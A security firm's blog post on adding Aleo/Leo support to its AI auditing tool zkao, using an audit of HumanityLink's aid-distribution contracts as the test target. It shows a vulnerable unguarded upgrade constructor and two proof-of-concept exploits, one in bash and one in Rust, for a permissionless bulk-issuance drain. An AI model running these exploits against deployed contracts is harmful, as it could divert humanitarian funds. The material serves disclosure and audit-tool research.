# Bringing Aleo and Leo into zkao

- **Authors**: zk/sec, False Witness team
- **Date**: July 20, 2026
- **Tags**: announcement, zkao, security, audit

zkSecurity just completed a new integration of the Leo programming language and the Aleo program ecosystem into our new AI bug detection tool, [zkao](https://zkao.io/). During this integration, we also collaborated with [HumanityLink](https://humanity.link/), whose system served as a live test target, and we reported all of our findings back to them. The full report can be accessed on our [audit reports page](https://reports.zksecurity.xyz/reports/humanitylink-1/).

HumanityLink is part of a first-of-its-kind blockchain initiative by **Mercy Corps Ventures**, in partnership with **Aleo**, **HumanityLink**, and the **Danish Refugee Council**, deploying privacy-preserving stablecoin payments to protect the privacy, safety, and dignity of displaced people and migrants receiving humanitarian cash assistance in Colombia.

The audit and our live test target for zkao integration was [Enable ZK](https://enable-zk.humanity.link/en), HumanityLink's aid-distribution system: recipients receive and spend aid while their eligibility is verified through zero-knowledge proofs, confirming aid on-chain without exposing who they are or where they shop.

At the end of this post, we also highlight some important key takeaways we learned during this engagement, which apply to AI-assisted auditing, or LLMs in general.

## High-level workflow

As we described in the report, we used the following workflow at a high level:

1. Run an initial scan with zkao using the latest model and the baseline skill.
2. Validate and triage zkao's findings while, in parallel, manually reviewing the codebase to identify bugs independently.
3. Teach zkao to find these bugs through different techniques like skills, evals, prompt engineering, context engineering, or additional tooling (in this post we will see this additional tooling specifically).
4. Repeat this process iteratively.

This workflow lets us iteratively improve zkao's capabilities on the Aleo/Leo codebase by integrating our human audit knowledge back into zkao's flow. More specifically, it augments both the bugfinding and triaging capabilities of zkao, which we outline in more detail below.

## Integrating the Aleo/Leo bugfinder

As the Aleo ecosystem continues to mature, there's an opportunity to enrich the Aleo and Leo knowledge that the models can draw on. So, we created an Aleo and Leo auditing flow, skill, and prompt guidance that provides the following four major knowledge components:

- **Leo language cheat sheet**: the security relevant parts of the language, from the proof/finalize split to upgradability, dynamic dispatch, and protocol limits.
- **Aleo Instructions reference**: the lower level AVM representation deployed on-chain, where compiler mismatches and syntax-hidden bugs surface.
- **snarkVM design-gotchas reference**: platform guarantees and pitfalls: consensus versioning, the privacy model, and value conservation.
- **Catalog of Aleo and Leo bug patterns**: recurring vulnerability classes from the literature and our own audits.

To showcase the impact, take one example from the HumanityLink codebase, whose Leo contract contained the following vulnerable snippet:

```rust
@custom
constructor() {
    Mapping::set(admin_address, 0u8, self.program_owner);
    Mapping::set(flags, 0u8, false);
    Mapping::set(clocks, 0u8, 17280u32);   // ~24h default
    Mapping::set(limits, 0u8, 6_000_000u64); // $6.00 minimum merchant offramp
}
```

The issue was obvious at first glance: the program constructor uses the [@custom](https://docs.leo-lang.org/guides/upgradability#getting-started-the-upgrade-policy) annotation but doesn't assert any ownership check, which allows the program to be upgraded by anyone.

However, before the integration, the zkao scan (and vanilla LLMs[1](#fn:vanilla)) overlooked this issue completely, despite it being very trivial.

Since we found it manually through our human review, we added this bug-pattern knowledge into zkao's workflow and ran another zkao scan to see whether the scan is catching the bug, so the agent consistently finds the issue in subsequent runs.

> [!NOTE]
> It is worth noting that this oversight only happens for behavior specific to the nature of the DSL. More general bugs (as shown in the next section) are caught even before integration, showing that zkao finds them on its own.

## Integrating automated triage

Detecting a bug is only half the job. We also need a way to confirm whether a finding is valid or not. In zkao, this is usually done through the Proof-of-Concept (PoC) creation mechanism, which confirms a finding's validity (and is also convincing to the human who reviews it later).

A simple bug can be demonstrated with `leo test`[2](#fn:leotest), but a bug that requires deployment behavior (like our example above), multi account interaction, persisted chain state, transaction ordering, record handling, or program/dependency resolution requires an end-to-end test with a local devnet.

However, creating that kind of executable end-to-end PoC in the Aleo ecosystem is quite cumbersome, since we need to set up a local devnet, create and fund an account, and then produce a zk-proof to complete the transaction, which is time consuming as well.

To solve this, we built an internal harness tool called **cheatVM**: a small Rust library with a cheatcode enabled execution harness for Aleo, conceptually the equivalent of Foundry for the Aleo ecosystem. This tool allows us to orchestrate the entire end-to-end flow of an Aleo transaction within a single Rust test.

Consider the finding [Missing authorization checks in `bulk_issue_8` / `bulk_issue_15`](https://reports.zksecurity.xyz/reports/humanitylink-1/#finding-H-bulk-issue-permissionless-drain) from the HumanityLink report as an example.

Without any integration, the zkao scan found this bug and produced the following PoC in bash:

```bash
#!/usr/bin/env bash
set -euo pipefail
cd /repo
export PATH="/repo/.foundry/bin:/repo/.aleo/bin:$PATH"
export FOUNDRY_DIR=/repo/.foundry

AID=/repo/leo/v9/build/main.aleo
BULK=/repo/leo/v9bulk/build/main.aleo
ADDR='aleo1kypwp5m7qtk9mwazgcpg0tq8aal23mnrvwfvug65qgcg9xvsrqgspyjm6n'
REC="{ addr: ${ADDR}, amount: 1u64 }"

# Compile both programs from source; this also regenerates the bytecode inspected below.
cd /repo/leo/v9 && /repo/.aleo/bin/leo4 build --offline --home /repo/.aleo --disable-update-check >/tmp/triage_bulk_v9_build.log 2>&1
cd /repo/leo/v9bulk && /repo/.aleo/bin/leo4 build --offline --home /repo/.aleo --disable-update-check >/tmp/triage_bulk_v9bulk_build.log 2>&1

# Prove the compiled authorization target: issue_aid forwards self.caller into its finalize step
# and checks authorized_issuers at that forwarded address.
grep -q 'async issue_aid r6 self.caller r7 into' "$AID"
grep -q 'get.or_use authorized_issuers[r1] false into' "$AID"

# Prove the compiled bulk wrapper directly calls issue_aid and has no signer/admin authorization
# before those calls.
grep -q 'call humanity_link_aid_v9d.aleo/issue_aid r0.addr r0.amount into' "$BULK"
if awk '/function bulk_issue_8:/,/finalize bulk_issue_8:/' "$BULK" | grep -Eq 'self\.signer|admin__|authorized_issuers'; then
  echo 'Unexpected bulk authorization guard found' >&2
  exit 1
fi

# Run bulk_issue_8 as the Leo CLI default unprivileged key. The transition accepts attacker-chosen
# recipients and produces eight Token records plus a future containing eight issue_aid calls. On-chain
# finalization will pass whenever authorized_issuers[humanity_link_bulk_v9d.aleo] is true.
cd /repo/leo/v9bulk
/repo/.aleo/bin/leo4 run bulk_issue_8 "$REC" "$REC" "$REC" "$REC" "$REC" "$REC" "$REC" "$REC" \
  --offline --home /repo/.aleo --disable-update-check --with ../v9/build/main.aleo 2>&1 | tee /tmp/triage_bulk_open_issuer_output.log >/dev/null

TOKENS=$(grep -c '_version: 1u8.public' /tmp/triage_bulk_open_issuer_output.log)
INNER_CALLS=$(grep -c 'function_name: issue_aid' /tmp/triage_bulk_open_issuer_output.log)
printf 'compiled_guard=authorized_issuers[self.caller]\n'
printf 'bulk_wrapper_auth_guard=absent\n'
printf 'token_records_emitted=%s\n' "$TOKENS"
printf 'inner_issue_aid_calls=%s\n' "$INNER_CALLS"
printf 'security_consequence=if the bulk program is authorized as an issuer, any signer can mint these token records to chosen recipients\n'
test "$TOKENS" -eq 8
test "$INNER_CALLS" -eq 8
```

As we can see, the PoC mostly proves that the vulnerability exists by inspecting the compiled Aleo instructions from the bytecode, which shows nothing more than the existing Leo code if we assume the Leo compiler works correctly. Also note that although it does run the function in the end, it doesn't prove the actual transition/finalization on the block.

Now compare this with the post-integration cheatVM run, which produces the following PoC that proves the vulnerability end-to-end in a single Rust test:

```rust
use anyhow::Result;
use cheatvm::Harness;
use std::path::Path;

const CORE: &str = "humanity_link_aid_v9d.aleo";
const BULK: &str = "humanity_link_bulk_v9d.aleo";
const STABLECOIN: &str = "test_usdcx_stablecoin.aleo";

#[test]
fn unapproved_signer_can_issue_aid_through_authorized_bulk_program() -> Result<()> {
    let mut h = Harness::new()?;
    h.deploy_project(Path::new(env!("CARGO_MANIFEST_DIR")).join("../leo/v9bulk"))?;

    let attacker = h.new_account()?;
    let core_address = h.program_address(CORE)?;
    let bulk_address = h.program_address(BULK)?;

    h.cheats()
        .set_mapping(STABLECOIN, "pause", "true", "false")?;
    h.cheats().set_mapping(
        STABLECOIN,
        "balances",
        &core_address.to_string(),
        "8000000u128",
    )?;
    h.cheats().set_mapping(
        CORE,
        "authorized_issuers",
        &bulk_address.to_string(),
        "true",
    )?;

    // Negative control: even if the attacker has their own USDCx, a direct
    // issue_aid call is rejected because the attacker is not an authorized issuer.
    h.cheats().set_mapping(
        STABLECOIN,
        "balances",
        &attacker.address.to_string(),
        "1000000u128",
    )?;
    h.execute(
        &attacker,
        CORE,
        "issue_aid",
        &[attacker.address.to_string(), "1u64".to_string()],
    )?
    .expect_rejected();
    assert_eq!(h.get_u128(CORE, "total_issued", "0u8")?.unwrap_or(0), 0);

    // Exploit: the same unapproved signer calls the bulk companion. Inside
    // humanity_link_aid_v9d.aleo::issue_aid, self.caller is the bulk program
    // address, not the attacker signer, so the issuer check passes.
    let inputs = vec![
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
        recipient(&attacker, 1_000_000),
    ];

    let issued = h.execute(&attacker, BULK, "bulk_issue_8", &inputs)?;
    issued.expect_finalized();

    assert_eq!(h.get_u128(CORE, "total_issued", "0u8")?, Some(8_000_000));
    assert_eq!(
        h.get_u128(STABLECOIN, "balances", &core_address.to_string())?,
        Some(0)
    );

    Ok(())
}

fn recipient(account: &cheatvm::Account, amount: u64) -> String {
    format!("{{addr: {}, amount: {amount}u64}}", account.address)
}
```

This simple and easy-to-read Rust test is not only useful for humans, but also for the zkao agent to automatically triage its findings.

## Filtering noisy results

Before wrapping up the integration, there was one more thing left to tackle: **false positives**. Across our aggregated scans, we found **14 false positives out of 33 total findings**, with the following breakdown:

- **Not in the threat model:** 8
- **Incorrect assumption about the spec/code:** 4
- **Out of scope:** 1
- **Intended design:** 1

As the stats show, most of the false positives came from unclear threat modeling, which is understandable, since HumanityLink relaxes its trust boundaries and applies privacy only to the beneficiaries (see the [full report](https://reports.zksecurity.xyz/reports/humanitylink-1/#threat-model-and-security-assumptions) for the detailed threat model and security assumptions).

We figured this was a project specific problem rather than something we could generalize into zkao. Instead, zkao lets the user supply their own configuration as initial context (`zkao.md`) to set a clear scope, threat model, and severity preference. After supplying a well defined `zkao.md`, we ran the scan again, and **the false positives dropped to just 2**.

## Key takeaways

The main takeaway from this is: **vibe auditing alone isn't enough**. An LLM is a powerful accelerant, but it still needs a domain expert to guide it and verify its work. More specifically:

- **AI can overlook low hanging fruit issues.** The previous example shows us that an unskilled agent can miss a simple bug, so it certainly can't be fully trusted to catch the subtle ones on its own.
- **Without the right tooling, AI-generated PoCs aren't realistic.** If the agent doesn't have access to quick and easy tools, it will mostly just create "tautological" or non-adversarial code that doesn't represent the actual end-to-end scenario.
- **Without threat modeling, AI can generate a lot of false positives.** Unclear threat modeling and trust boundaries can cause the model to misjudge the impact of a finding and generate false positives.

## What's next

There are still many more languages and systems to bring into zkao. Beyond Aleo, zkao already works across many common languages and most zero-knowledge DSLs, including Circom, gnark, Jellyfish, and Plonky3 AIR.

Want your specific system integrated into zkao? [Let's get in touch!](https://blog.zksecurity.xyz/posts/zkao-aleo-integration/mailto:zkao@zksecurity.xyz)

---

1. 
basic Claude or ChatGPT with simple prompting.qq3936677670287331zz[zz1337820767766393qq](#fnref:vanilla)

   basic Claude or ChatGPT with simple prompting.qq3936677670287331zz[zz1337820767766393qq](#fnref:vanilla)
2. 
the `leo test` command runs unit tests against a program's transition logic without touching chain state or finalization.qq3936677670287331zz[zz1337820767766393qq](#fnref:leotest)

   the `leo test` command runs unit tests against a program's transition logic without touching chain state or finalization.qq3936677670287331zz[zz1337820767766393qq](#fnref:leotest)

---

This article was published on the [ZK/SEC Quarterly](https://blog.zksecurity.xyz) blog by [ZK Security](https://www.zksecurity.xyz), a leading security firm specialized in zero-knowledge proofs, MPC, FHE, and advanced cryptography. ZK Security has audited some of the most critical ZK systems in production, discovered vulnerabilities in major protocols including Aleo, Solana, and Halo2, and built open-source tools like [Clean](https://github.com/Verified-zkEVM/clean) for formally verified ZK circuits. For more articles, see the [full list of posts](https://blog.zksecurity.xyz/llms.txt).